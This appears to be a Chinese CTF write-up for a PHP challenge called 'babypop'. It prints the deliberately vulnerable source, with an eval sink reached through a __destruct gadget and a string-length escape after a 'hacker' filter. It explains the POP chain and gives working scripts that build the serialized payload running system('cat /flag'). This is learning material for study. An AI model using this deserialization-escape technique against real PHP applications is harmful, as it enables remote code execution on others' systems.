(还是太菜了,看了web方向的wp好多还是我没学过的,看也看不懂,然后因为最近做过反序列化打算磕一磕babypop然后一大串的看着看着发现自己好像又不会了,又去重新补了一下基础,再结合wp自己捋一遍)
题目源码如下:
php
<?php
error_reporting(0); // 关闭所有错误报告
highlight_file(__FILE__); // 高亮显示当前PHP文件源代码
class SecurityProvider {
private $token; // 私有属性,存储安全令牌
public function __construct() {
$this->token = md5(uniqid()); // 使用唯一ID生成MD5值作为token
}
public function verify($data) {
if (strpos($data, '..') !== false) { // 检查数据中是否包含".."(目录遍历特征)
die("Attack Detected"); // 发现攻击则终止脚本
}
return $data; // 返回原数据
}
}
class LogService {
protected $handler; // 日志处理器
protected $formatter; // 日志格式化器
public function __construct($handler = null) {
$this->handler = $handler; // 设置处理器
$this->formatter = new DateFormatter(); // 默认使用DateFormatter作为格式化器
}
public function __destruct() {
// 对象销毁时,如果处理器存在且有关闭方法,则调用它
if ($this->handler && method_exists($this->handler, 'close')) {
$this->handler->close();
}
}
}
class FileStream {
private $path; // 文件路径
private $mode; // 模式(普通或调试)
public $content; // 文件内容(公开属性)
public function __construct($path, $mode) {
$this->path = $path;
$this->mode = $mode;
}
public function close() {
if ($this->mode === 'debug' && !empty($this->content)) { // 调试模式下且有内容
$cmd = $this->content;
if (strlen($cmd) < 2) return; // 命令长度小于2则返回
@eval($cmd); // 执行eval命令(关键漏洞点)
} else {
return true;
}
}
}
class DateFormatter {
public function format($timestamp) {
return date('Y-m-d H:i:s', $timestamp); // 格式化时间戳
}
}
class UserProfile {
public $username; // 用户名
public $bio; // 用户简介
public $preference; // 用户偏好设置(存储DateFormatter对象)
public function __construct($u, $b) {
$this->username = $u;
$this->bio = $b;
$this->preference = new DateFormatter(); // 默认设置为DateFormatter对象
}
}
class DataSanitizer {
public static function clean($input) {
// 移除输入中的所有"hacker"字符串(存在反序列化字符串长度逃逸漏洞)
return str_replace("hacker", "", $input);
}
}
// 主程序逻辑开始
$raw_user = $_POST['user'] ?? null; // 获取POST参数user
$raw_bio = $_POST['bio'] ?? null; // 获取POST参数bio
if ($raw_user && $raw_bio) {
$sec = new SecurityProvider();
$sec->verify($raw_user); // 检查user参数是否包含".."
$sec->verify($raw_bio); // 检查bio参数是否包含".."
$profile = new UserProfile($raw_user, $raw_bio); // 创建UserProfile对象
$data = serialize($profile); // 序列化对象
if (strlen($data) > 4096) { // 检查序列化数据长度
die("Data too long");
}
$safe_data = DataSanitizer::clean($data); // 移除所有"hacker"字符串
$unserialized = unserialize($safe_data); // 反序列化处理后的数据
if ($unserialized instanceof UserProfile) {
echo "Profile loaded for " . htmlspecialchars($unserialized->username);
}
}
?>
因为之前做的反序列化都是一小串的,直接从头看到尾,然后发现在这里就不行了,顺着看下去看完前面的也忘了,所以这类题目还是倒着看好,先看主程序,再找在主程序中调用的方法。
主程序解读:
主程序首先要以POST方式传user和bio,然后先调用**verify(),**我们回到之前的代码看看verify是干啥的:
php
public function verify($data) {
if (strpos($data, '..') !== false) { // 检查数据中是否包含".."(目录遍历特征)
die("Attack Detected"); // 发现攻击则终止脚本
}
return $data; // 返回原数据
这里就是防止目录遍历,然后就是实例化Userprofile,那么再回到这个类里:
php
class UserProfile {
public $username; // 用户名
public $bio; // 用户简介
public $preference; // 用户偏好设置(存储DateFormatter对象)
public function __construct($u, $b) {
$this->username = $u;
$this->bio = $b;
$this->preference = new DateFormatter(); // 默认设置为DateFormatter对象
}
}
这里的u,b即我们在主程序中上传的两个量,然后这里还设置了一个公共属性的preference,而在这里的preference已经被设置为DateFormatter对象。
后面就是进行序列化,再调用DataSanitizer::clean()移除**hacker,**最后对其反序列化。
初步分析
这里首先我们要找的是能够执行命令的地方:
php
public function close() {
if ($this->mode === 'debug' && !empty($this->content)) { // 调试模式下且有内容
$cmd = $this->content;
if (strlen($cmd) < 2) return; // 命令长度小于2则返回
@eval($cmd); // 执行eval命令(关键漏洞点)
} else {
return true;
}
}
}
在FileStream中调用的close()方法cun存在eval命令,所以我们要找能调用close方法的类,然后看到LogService:
php
class LogService {
protected $handler; // 日志处理器
protected $formatter; // 日志格式化器
public function __construct($handler = null) {
$this->handler = $handler; // 设置处理器
$this->formatter = new DateFormatter(); // 默认使用DateFormatter作为格式化器
}
public function __destruct() {
// 对象销毁时,如果处理器存在且有关闭方法,则调用它
if ($this->handler && method_exists($this->handler, 'close')) {
$this->handler->close();
}
}
}
我们构造一个 LogService 对象,并把它的 $handler 属性设置为上面的 FileStream 对象,那么脚本结束时,就会调用close()方法。
然后就要回到之前的UserProfile里面了,preference的属性已经是固定的DataFormatter类,这个在我们构造pop链时没有作用,我们需要的是让preference成为LogService类能去调用close()方法,如果我们直接将bio里面输入preference如;s:10:"preference"只是这个字符串的文本内容,不是PHP序列化语法,所以这里要用到字符串逃逸让我们的preference被当作新的字段定义,成为真正的序列化语法。而这里就能够用到:
php
class DataSanitizer {
public static function clean($input) {
// 移除输入中的所有"hacker"字符串(存在反序列化字符串长度逃逸漏洞)
return str_replace("hacker", "", $input);
}
}
就比如我们让username为hacker,如果Userprofile是这样的:
php
O:11:"UserProfile":3:{s:8:"username";s:6:"hacker";s:3:"bio";s:长度:"恶意内容";s:10:"preference";....}
那么经过字符串逃逸之后就会变成:
php
O:11:"UserProfile":3:{s:8:"username";s:6:"";s:3:"bio";s:长度:"恶意内容";s:10:"preference";...}
那么后面的字符就会往前补,如果字符结束之后刚好是分号,就代表闭合,后面的就成为了新的字段【即我们所需要的preference】。
脚本构造:
进行上述分析之后,就可以按照wp先构造pop链对象:
php
<?php
class LogService {
protected $handler;
protected $formatter;
public function __construct($h = null) {
$this->handler = $h;
$this->formatter = new DateFormatter();
}
}
class FileStream {
private $path;
private $mode;
public $content;
public function __construct($p, $m) {
$this->path = $p;
$this->mode = $m;
}
}
// 1. 最内层:FileStream(执行命令)
$f = new FileStream('exploit.log', 'debug');
$f->content = 'system("cat /flag");';
// 2. 中间层:LogService(触发链条)
$l = new LogService($f); // $f作为handler
// 注意:LogService构造函数会自动设置formatter为DateFormatter
// 3. 序列化LogService对象(注意不是UserProfile)
$bad = serialize($l);
结果:O:10:"LogService":2:{s:10:"*handler";O:10:"FileStream":3:{s:16:"FileStreampath";s:11:"exploit.log";s:16:"FileStreammode";s:5:"debug";s:7:"content";s:20:"system("cat /flag");";}s:12:"*formatter";O:13:"DateFormatter":0:{}}
最后的最后,就是如何设置username和bio前缀的长度来达到刚好闭合的效果,也是利用脚本:
php
// 步骤2:自动计算字符串逃逸的payload
for ($i = 0; $i < 2000; $i++) { // 循环尝试不同的填充长度(0-1999)
// 创建填充字符串,i个"A",用于调整总长度
$pad = str_repeat("A", $i);
// 构造bio参数的值:填充 + 结束引号 + preference字段定义 + 恶意对象 + 结束符
// 格式:AAAAA";s:10:"preference";O:10:"LogService":{...}};
// 注意:结尾的}; 用于提前结束UserProfile对象
$bio = $pad . '";s:10:"preference";' . $bad . ';}';
// 计算需要被username字段"吃掉"的字符串
// 格式:";s:3:"bio";s:[bio长度]:"AAAAA
// 解释:
// " - 结束username字符串的引号
// ; - 结束当前值
// s:3:"bio" - bio字段声明
// ; - 结束字段名
// s:[bio长度]:" - bio字段长度声明
// AAAAA - bio值的开头(填充部分)
$eat = '";s:3:"bio";s:' . strlen($bio) . ':"' . $pad;
// 关键检查:被吃掉的字符串长度必须是6的倍数
// 原因:每个"hacker"被移除时减少6个字符
// 需要n个hacker来创造6n个字符的缺口,正好吞掉$eat
if (strlen($eat) % 6 === 0) {
// 计算需要多少个"hacker":$eat长度 ÷ 6
$hacker_count = strlen($eat) / 6;
// 输出最终的攻击payload
// user参数:多个"hacker"(创造字符串逃逸缺口)
// bio参数:URL编码后的恶意payload
echo "user=" . str_repeat("hacker", $hacker_count) . "&bio=" . urlencode($bio);
// 找到第一个可行解就停止
break;
}
}
?>
这里面需要注意的是在源代码中propfile在进行new UserProfile时最后面还是会生成s:10:"preference";O:13:"DateFormatter",但是在脚本中的profile作为新的字段已经表示了Userprofile对象,加上闭合符就代表着}字符告诉PHP:"UserProfile对象到此结束",如果没有:
-
PHP会继续解析后面的内容
-
看到默认的
s:10:"preference";O:13:"DateFormatter" -
但UserProfile已经有一个preference字段了(我们注入的)
-
一个对象不能有两个同名字段 → 解析失败
这也是字符串逃逸攻击的精妙之处------不仅要注入恶意内容,还要阻止原始内容被解析。
如有错误之处恳请师傅们指正。